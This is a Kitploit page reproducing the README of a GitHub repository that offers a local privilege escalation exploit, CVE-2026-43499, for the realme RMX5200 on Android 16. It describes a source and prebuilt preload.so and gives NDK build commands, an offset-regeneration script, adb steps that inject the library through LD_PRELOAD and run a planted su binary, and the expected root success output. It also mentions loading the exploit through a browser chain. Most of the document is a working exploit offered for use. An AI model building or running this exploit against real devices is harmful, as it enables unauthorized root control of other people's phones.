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CVE-2026-43499-RMX5200 — Android 16 local privilege escalation exploit for realme RMX5200 using LD_PRELOAD-based preload.so chain to achieve temporary root access via CVE-2026-43499. | Kitploit
Tools/GitHubGitHub/sorrow404null/cve-2026-43499-rmx5200
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GitHubsorrow404null/cve-2026-43499-rmx5200

CVE-2026-43499-RMX5200

Android 16 local privilege escalation exploit for realme RMX5200 using LD_PRELOAD-based preload.so chain to achieve temporary root access via CVE-2026-43499.

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61221 month agoNot yet reviewed

CVE-2026-43499 for realme RMX5200

CVE-2026-43499 local privilege escalation SO for:

ItemValue
Devicerealme RMX5200 / RE6030L1
Android16
Kernel6.12.23-android16-5-gb2a876903b49-ab14541642-4k
Fingerprintrealme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys

Prebuilt binary: bin/preload.so

This repo keeps only the SO build tree (sources + offsets + prebuilt). No browser harness, no firmware dumps, no test scaffolding.

Based on the public IonStack / popsicle-style chain; offsets regenerated from this device's boot.img + xbl_config.img.


Layout

root@kitploit:~
.
├── bin/preload.so              # prebuilt aarch64 shared object (verified)
├── generate_target.py          # optional: regenerate target.h from boot+xbl
├── source/
│   ├── Makefile
│   └── src/
│       ├── target.h            # RMX5200 offsets
│       ├── main.c preload.c slide.c ...
│       └── kernelsnitch/
└── README.md

Build

Requirements:

  • Android NDK (r27+ recommended)
  • Python 3 + llvm-objdump (only if regenerating target.h)

With make

root@kitploit:~
# Linux NDK example
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload

# Windows NDK example
make -C source clean preload \
  NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
  NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"

Output:

root@kitploit:~
source/build/bin/preload.so

Without make (clang direct)

root@kitploit:~
cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"

$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
  src/su_daemon.c -o build/embed/su_daemon_aarch64_pie

$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
  src/preload.c src/su_blob.S \
  -shared -o build/bin/preload.so -pthread

Regenerate offsets (optional)

Need matching firmware images (not shipped here):

root@kitploit:~
python3 generate_target.py \
  --boot boot.img \
  --xbl-config xbl_config.img \
  --llvm-objdump llvm-objdump \
  -o source/src/target.h

Run

ADB LD_PRELOAD

root@kitploit:~
adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

Browser chain (external)

Load this preload.so via a Firefox-151 lonStack-style host (e.g. Rootme device entry). Not included in this repository.

Success markers:

root@kitploit:~
slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...
root@kitploit:~
uid=0(root) gid=0(root) ... context=kernel

Notes

  • Temporary root only — lost after reboot.
  • After success, some apps may fail Framework init until reboot (same class of side effect as related public targets).
  • Offsets are build-specific. Other OTA builds need a new target.h / rebuild.
  • For authorized security research on devices you own.

Credits

  • Public research context: IonStack / CVE-2026-43499 writeups
  • Implementation lineage: popsicle-style preload.so chain
  • Device adaptation: RMX5200 (RE6030L1)
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